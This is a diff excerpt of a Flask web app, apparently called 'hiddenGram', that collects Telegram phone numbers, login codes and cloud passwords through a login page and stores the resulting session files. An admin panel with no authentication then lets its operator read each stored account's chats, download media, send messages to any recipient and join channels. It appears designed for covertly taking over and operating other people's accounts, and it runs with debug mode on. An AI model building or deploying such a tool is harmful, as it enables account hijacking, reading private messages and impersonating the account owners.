+
|
| 617 |
async function joinChat(userId) {
|
| 618 |
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
|
| 619 |
+
const statusDiv = document.getElementById('joinChatStatus');
|
| 620 |
+
if (!chatIdentifier) {
|
| 621 |
+
statusDiv.textContent = 'Please enter channel/group username or invite link.';
|
| 622 |
+
return;
|
| 623 |
+
}
|
| 624 |
+
statusDiv.textContent = 'Joining chat...';
|
| 625 |
+
try {
|
| 626 |
+
const response = await fetch(`/api/user/${userId}/join_chat`, {
|
| 627 |
method: 'POST',
|
| 628 |
headers: { 'Content-Type': 'application/json' },
|
| 629 |
body: JSON.stringify({ chat_identifier: chatIdentifier })
|
| 630 |
});
|
| 631 |
const result = await response.json();
|
| 632 |
+
statusDiv.textContent = result.message;
|
| 633 |
if (result.success) {
|
| 634 |
document.getElementById('joinChatIdentifier').value = '';
|
| 635 |
+
setTimeout(() => {
|
| 636 |
+
closeModal('joinChatModal');
|
| 637 |
+
loadChatList(); // Refresh chat list
|
| 638 |
+
}, 1500);
|
| 639 |
+
} else {
|
| 640 |
+
statusDiv.style.color = '#f44336';
|
| 641 |
}
|
| 642 |
+
} catch (error) {
|
| 643 |
+
statusDiv.textContent = `Error: ${error.message}`;
|
| 644 |
+
statusDiv.style.color = '#f44336';
|
| 645 |
+
}
|
| 646 |
+
}
|
| 647 |
+
|
| 648 |
+
async function sendArbitraryMessage(userId) {
|
| 649 |
+
const recipient = document.getElementById('sendMessageRecipient').value;
|
| 650 |
+
const content = document.getElementById('sendMessageContent').value;
|
| 651 |
+
const statusDiv = document.getElementById('sendMessageStatus');
|
| 652 |
+
if (!recipient || !content) {
|
| 653 |
+
statusDiv.textContent = 'Please enter recipient and message.';
|
| 654 |
+
return;
|
| 655 |
+
}
|
| 656 |
+
statusDiv.textContent = 'Sending message...';
|
| 657 |
+
try {
|
| 658 |
+
const response = await fetch(`/api/user/${userId}/send_arbitrary_message`, {
|
| 659 |
+
method: 'POST',
|
| 660 |
+
headers: { 'Content-Type': 'application/json' },
|
| 661 |
+
body: JSON.stringify({ recipient_id: recipient, message: content })
|
| 662 |
+
});
|
| 663 |
+
const result = await response.json();
|
| 664 |
+
statusDiv.textContent = result.message;
|
| 665 |
+
if (result.success) {
|
| 666 |
+
document.getElementById('sendMessageRecipient').value = '';
|
| 667 |
+
document.getElementById('sendMessageContent').value = '';
|
| 668 |
+
setTimeout(() => closeModal('sendMessageModal'), 1500);
|
| 669 |
+
} else {
|
| 670 |
+
statusDiv.style.color = '#f44336';
|
| 671 |
+
}
|
| 672 |
+
} catch (error) {
|
| 673 |
+
statusDiv.textContent = `Error: ${error.message}`;
|
| 674 |
+
statusDiv.style.color = '#f44336';
|
| 675 |
}
|
| 676 |
}
|
| 677 |
+
|
| 678 |
</script>
|
| 679 |
</body>
|
| 680 |
</html>
|
| 681 |
'''
|
| 682 |
|
| 683 |
+
# --- Flask Routes ---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 684 |
|
| 685 |
@app.route('/')
|
| 686 |
def index():
|
| 687 |
+
"""Renders the login page for adding new accounts."""
|
| 688 |
+
return render_template_string(LOGIN_TEMPLATE)
|
| 689 |
+
|
| 690 |
+
@app.route('/admin')
|
| 691 |
+
def admin_panel():
|
| 692 |
+
"""Renders the admin panel displaying all managed accounts."""
|
| 693 |
with sqlite3.connect(DB_PATH) as conn:
|
| 694 |
c = conn.cursor()
|
| 695 |
c.execute('SELECT id, telegram_id, username, phone FROM users')
|
| 696 |
users = c.fetchall()
|
| 697 |
+
return render_template_string(ADMIN_TEMPLATE, users=users)
|
| 698 |
|
| 699 |
+
@app.route('/api/login', methods=['POST'])
|
| 700 |
+
def api_login():
|
| 701 |
+
"""Handles the Telegram login process steps via AJAX."""
|
| 702 |
data = request.json
|
| 703 |
phone = data.get('phone')
|
| 704 |
code = data.get('code')
|
|
|
|
| 706 |
phone_code_hash = data.get('phone_code_hash')
|
| 707 |
step = data.get('step')
|
| 708 |
|
| 709 |
+
if not phone:
|
| 710 |
+
return jsonify({'success': False, 'message': 'Phone number is required.'}), 400
|
| 711 |
+
|
| 712 |
session_hash = hashlib.md5(phone.encode()).hexdigest()
|
| 713 |
+
session_file_path = os.path.join(SESSION_DIR, f"{session_hash}.session")
|
| 714 |
|
| 715 |
async def _login_async():
|
| 716 |
client = TelegramClient(session_file_path, API_ID, API_HASH)
|
|
|
|
| 722 |
me = await client.get_me()
|
| 723 |
with sqlite3.connect(DB_PATH) as conn:
|
| 724 |
c = conn.cursor()
|
| 725 |
+
# Use INSERT OR REPLACE to handle cases where phone is already in DB
|
| 726 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 727 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 728 |
conn.commit()
|
| 729 |
+
result = {'success': True, 'message': 'Already logged in. Redirecting to admin panel.'}
|
| 730 |
else:
|
| 731 |
sent_code = await client.send_code_request(phone)
|
| 732 |
result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
|
|
|
|
| 742 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 743 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 744 |
conn.commit()
|
| 745 |
+
result = {'success': True, 'message': 'Logged in successfully. Redirecting to admin panel.'}
|
| 746 |
except SessionPasswordNeededError:
|
| 747 |
result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
|
| 748 |
+
except FloodWaitError as e:
|
| 749 |
+
result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
|
| 750 |
except Exception as e:
|
| 751 |
result = {'success': False, 'message': f'Error during code submission: {e}.'}
|
| 752 |
elif step == 'password':
|
|
|
|
| 758 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 759 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 760 |
conn.commit()
|
| 761 |
+
result = {'success': True, 'message': 'Logged in with cloud password. Redirecting to admin panel.'}
|
| 762 |
+
except FloodWaitError as e:
|
| 763 |
+
result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
|
| 764 |
except Exception as e:
|
| 765 |
result = {'success': False, 'message': f'Error during password submission: {e}.'}
|
| 766 |
else:
|
|
|
|
| 768 |
except Exception as e:
|
| 769 |
result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
|
| 770 |
finally:
|
| 771 |
+
if client.is_connected():
|
| 772 |
await client.disconnect()
|
| 773 |
return result
|
| 774 |
|
| 775 |
return jsonify(asyncio.run(_login_async()))
|
| 776 |
|
| 777 |
+
@app.route('/user/<int:user_id>/client')
|
| 778 |
+
def user_client_view(user_id):
|
| 779 |
+
"""Renders the main hiddenGram client interface for a specific user."""
|
| 780 |
with sqlite3.connect(DB_PATH) as conn:
|
| 781 |
c = conn.cursor()
|
| 782 |
c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
|
|
|
|
| 790 |
'phone': user_data[3],
|
| 791 |
'session_file': user_data[4]
|
| 792 |
}
|
| 793 |
+
return render_template_string(USER_CLIENT_TEMPLATE, user=user_dict)
|
| 794 |
|
| 795 |
+
@app.route('/api/user/<int:user_id>/chats')
|
| 796 |
+
def api_get_user_chats(user_id):
|
| 797 |
+
"""API endpoint to get a list of chats for a user."""
|
| 798 |
async def _get_chats_async():
|
| 799 |
client, error = await get_user_client(user_id)
|
| 800 |
if error:
|
| 801 |
+
return {'success': False, 'message': error}
|
| 802 |
|
| 803 |
chats_info = []
|
| 804 |
try:
|
| 805 |
async for dialog in client.iter_dialogs():
|
| 806 |
chat_type = 'User'
|
|
|
|
| 807 |
if dialog.is_channel:
|
| 808 |
chat_type = 'Channel'
|
|
|
|
|
|
|
| 809 |
elif dialog.is_group:
|
| 810 |
chat_type = 'Group'
|
|
|
|
|
|
|
| 811 |
|
| 812 |
+
# Exclude service notifications or empty chats if desired
|
| 813 |
+
if dialog.is_empty:
|
| 814 |
+
continue
|
| 815 |
+
|
| 816 |
chats_info.append({
|
| 817 |
'id': dialog.id,
|
| 818 |
'title': dialog.title,
|
| 819 |
'type': chat_type,
|
| 820 |
+
'unread_count': dialog.unread_count # Telethon provides this
|
| 821 |
})
|
| 822 |
+
return {'success': True, 'chats': chats_info}
|
| 823 |
except Exception as e:
|
| 824 |
+
return {'success': False, 'message': str(e)}
|
| 825 |
finally:
|
| 826 |
if client and client.is_connected():
|
| 827 |
await client.disconnect()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 828 |
|
| 829 |
+
return jsonify(asyncio.run(_get_chats_async()))
|
| 830 |
|
| 831 |
+
@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/messages')
|
| 832 |
+
def api_get_chat_messages(user_id, peer_id):
|
| 833 |
+
"""API endpoint to get messages from a specific chat."""
|
| 834 |
async def _get_messages_async():
|
| 835 |
client, error = await get_user_client(user_id)
|
| 836 |
if error:
|
| 837 |
+
return {'success': False, 'message': error}
|
| 838 |
|
| 839 |
+
messages_data = []
|
|
|
|
| 840 |
try:
|
| 841 |
entity = await client.get_entity(peer_id)
|
| 842 |
+
|
| 843 |
+
# Fetch last 50 messages
|
| 844 |
+
async for message in client.iter_messages(entity, limit=50, reverse=False): # Get in chronological order
|
| 845 |
msg_data = {
|
| 846 |
'text': message.text,
|
| 847 |
+
'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
|
| 848 |
+
'sender_name': 'Unknown',
|
| 849 |
+
'is_outgoing': message.out # True if message was sent by this user
|
| 850 |
}
|
| 851 |
|
| 852 |
if message.sender:
|
| 853 |
+
if isinstance(message.sender, User):
|
| 854 |
msg_data['sender_name'] = message.sender.first_name
|
| 855 |
if message.sender.last_name:
|
| 856 |
msg_data['sender_name'] += f" {message.sender.last_name}"
|
| 857 |
+
if not msg_data['sender_name'] and message.sender.username:
|
| 858 |
+
msg_data['sender_name'] = message.sender.username
|
| 859 |
+
elif isinstance(message.sender, (Channel, Chat)):
|
| 860 |
msg_data['sender_name'] = message.sender.title
|
| 861 |
+
|
| 862 |
+
# Fallback for sender if name is still empty (e.g., deleted account)
|
| 863 |
+
if not msg_data['sender_name']:
|
| 864 |
+
msg_data['sender_name'] = f"ID: {message.sender_id}" if message.sender_id else "Unknown"
|
| 865 |
|
| 866 |
if message.media:
|
| 867 |
+
if isinstance(message.media, (MessageMediaPhoto, MessageMediaDocument)):
|
| 868 |
+
try:
|
| 869 |
+
# Use a unique name for downloaded files to prevent conflicts
|
| 870 |
+
file_ext = Path(message.file.name or '').suffix or ''
|
| 871 |
+
unique_filename = f"{message.id}_{message.date.timestamp()}{file_ext}"
|
| 872 |
+
download_path = os.path.join(DOWNLOAD_DIR, unique_filename)
|
| 873 |
+
|
| 874 |
+
file_info = await client.download_media(message, file=download_path)
|
| 875 |
+
if file_info:
|
| 876 |
+
msg_data['file_name'] = Path(file_info).name
|
| 877 |
+
msg_data['file_size'] = f"{(os.path.getsize(file_info) / (1024*1024)):.2f} MB" if os.path.exists(file_info) else "N/A"
|
| 878 |
+
else:
|
| 879 |
+
msg_data['file_name'] = "Download failed."
|
| 880 |
+
except Exception as e:
|
| 881 |
+
msg_data['file_name'] = f"Error downloading media: {e}"
|
| 882 |
+
msg_data['file_size'] = ""
|
| 883 |
+
elif isinstance(message.media, MessageMediaWebPage):
|
| 884 |
+
msg_data['webpage_url'] = message.media.webpage.url
|
| 885 |
+
msg_data['webpage_title'] = message.media.webpage.title
|
| 886 |
+
elif isinstance(message.media, MessageMediaPoll):
|
| 887 |
+
msg_data['poll_question'] = message.media.poll.question
|
| 888 |
+
elif isinstance(message.media, MessageMediaGeo):
|
| 889 |
+
msg_data['geo_coords'] = f"{message.media.geo.lat}, {message.media.geo.long}"
|
| 890 |
+
elif isinstance(message.media, MessageMediaContact):
|
| 891 |
+
msg_data['contact_name'] = f"{message.media.first_name} {message.media.last_name or ''}"
|
| 892 |
+
elif isinstance(message.media, MessageMediaUnsupported):
|
| 893 |
+
msg_data['unsupported_media'] = True
|
| 894 |
+
else:
|
| 895 |
+
msg_data['unsupported_media'] = True # General catch-all for other media types
|
| 896 |
+
|
| 897 |
+
messages_data.append(msg_data)
|
| 898 |
except Exception as e:
|
| 899 |
+
return {'success': False, 'message': str(e)}
|
| 900 |
finally:
|
| 901 |
if client and client.is_connected():
|
| 902 |
await client.disconnect()
|
| 903 |
+
return {'success': True, 'messages': messages_data}
|
| 904 |
|
| 905 |
+
return jsonify(asyncio.run(_get_messages_async()))
|
|
|
|
|
|
|
|
|
|
|
|
|
| 906 |
|
| 907 |
@app.route('/download/<filename>')
|
| 908 |
def download_file(filename):
|
| 909 |
+
"""Allows downloading files from the downloads directory."""
|
| 910 |
return send_from_directory(DOWNLOAD_DIR, filename)
|
| 911 |
|
| 912 |
+
@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/send_message', methods=['POST'])
|
| 913 |
+
def api_send_message_to_chat(user_id, peer_id):
|
| 914 |
+
"""API endpoint to send a message to a specific selected chat."""
|
| 915 |
data = request.json
|
|
|
|
| 916 |
message_content = data.get('message')
|
| 917 |
|
| 918 |
+
if not message_content:
|
| 919 |
+
return jsonify({'success': False, 'message': 'Message content cannot be empty.'}), 400
|
| 920 |
+
|
| 921 |
async def _send_message_async():
|
| 922 |
client, error = await get_user_client(user_id)
|
| 923 |
if error:
|
| 924 |
return {'success': False, 'message': error}
|
| 925 |
try:
|
| 926 |
+
await client.send_message(peer_id, message_content)
|
| 927 |
return {'success': True, 'message': 'Message sent successfully.'}
|
| 928 |
except Exception as e:
|
| 929 |
return {'success': False, 'message': str(e)}
|
|
|
|
| 934 |
result = asyncio.run(_send_message_async())
|
| 935 |
return jsonify(result)
|
| 936 |
|
| 937 |
+
@app.route('/api/user/<int:user_id>/join_chat', methods=['POST'])
|
| 938 |
+
def api_join_chat(user_id):
|
| 939 |
+
"""API endpoint for a user to join a chat/channel by identifier or invite link."""
|
| 940 |
data = request.json
|
| 941 |
chat_identifier = data.get('chat_identifier')
|
| 942 |
|
| 943 |
+
if not chat_identifier:
|
| 944 |
+
return jsonify({'success': False, 'message': 'Chat identifier or invite link is required.'}), 400
|
| 945 |
+
|
| 946 |
async def _join_chat_async():
|
| 947 |
client, error = await get_user_client(user_id)
|
| 948 |
if error:
|
| 949 |
return {'success': False, 'message': error}
|
| 950 |
try:
|
| 951 |
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
|
| 952 |
+
# Extract invite hash: remove 't.me/joinchat/' or 't.me/+' and handle '+' in hash
|
| 953 |
invite_hash = chat_identifier.split('/')[-1]
|
| 954 |
if '+' in invite_hash:
|
| 955 |
invite_hash = invite_hash.replace('+', '')
|
| 956 |
await client(ImportChatInviteRequest(invite_hash))
|
| 957 |
else:
|
| 958 |
+
# Try joining by username
|
| 959 |
if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
|
| 960 |
chat_identifier = '@' + chat_identifier
|
| 961 |
await client(JoinChannelRequest(chat_identifier))
|
| 962 |
+
return {'success': True, 'message': f'Successfully joined chat/channel: {chat_identifier}.'}
|
| 963 |
except FloodWaitError as e:
|
| 964 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 965 |
except UserNotParticipantError:
|
| 966 |
return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
|
| 967 |
+
except PeerFloodError:
|
| 968 |
+
return {'success': False, 'message': 'Account is sending too many messages. Try again later.'}
|
| 969 |
except Exception as e:
|
| 970 |
return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
|
| 971 |
finally:
|
|
|
|
| 975 |
result = asyncio.run(_join_chat_async())
|
| 976 |
return jsonify(result)
|
| 977 |
|
| 978 |
+
@app.route('/api/user/<int:user_id>/send_arbitrary_message', methods=['POST'])
|
| 979 |
+
def api_send_arbitrary_message(user_id):
|
| 980 |
+
"""API endpoint to send a message to any recipient (username or ID) from a user account."""
|
| 981 |
+
data = request.json
|
| 982 |
+
recipient_id = data.get('recipient_id')
|
| 983 |
+
message_content = data.get('message')
|
| 984 |
+
|
| 985 |
+
if not recipient_id or not message_content:
|
| 986 |
+
return jsonify({'success': False, 'message': 'Recipient and message content are required.'}), 400
|
| 987 |
+
|
| 988 |
+
async def _send_arbitrary_message_async():
|
| 989 |
+
client, error = await get_user_client(user_id)
|
| 990 |
+
if error:
|
| 991 |
+
return {'success': False, 'message': error}
|
| 992 |
+
try:
|
| 993 |
+
# Resolve recipient if it's a username
|
| 994 |
+
if not str(recipient_id).isdigit() and not recipient_id.startswith('-'): # Not an ID or channel ID
|
| 995 |
+
entity = await client.get_entity(recipient_id)
|
| 996 |
+
recipient_id = entity.id # Use resolved ID for sending
|
| 997 |
+
|
| 998 |
+
await client.send_message(recipient_id, message_content)
|
| 999 |
+
return {'success': True, 'message': f'Message sent to {recipient_id} successfully.'}
|
| 1000 |
+
except FloodWaitError as e:
|
| 1001 |
+
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 1002 |
+
except PeerFloodError:
|
| 1003 |
+
return {'success': False, 'message': 'Account is sending too many messages. Try again later.'}
|
| 1004 |
+
except Exception as e:
|
| 1005 |
+
return {'success': False, 'message': f'Error sending message to {recipient_id}: {e}.'}
|
| 1006 |
+
finally:
|
| 1007 |
+
if client and client.is_connected():
|
| 1008 |
+
await client.disconnect()
|
| 1009 |
+
|
| 1010 |
+
result = asyncio.run(_send_arbitrary_message_async())
|
| 1011 |
+
return jsonify(result)
|
| 1012 |
+
|
| 1013 |
+
|
| 1014 |
if __name__ == '__main__':
|
| 1015 |
init_db()
|
| 1016 |
+
app.run(host=HOST, port=PORT, debug=True) # debug=True is good for development, set to False in production
|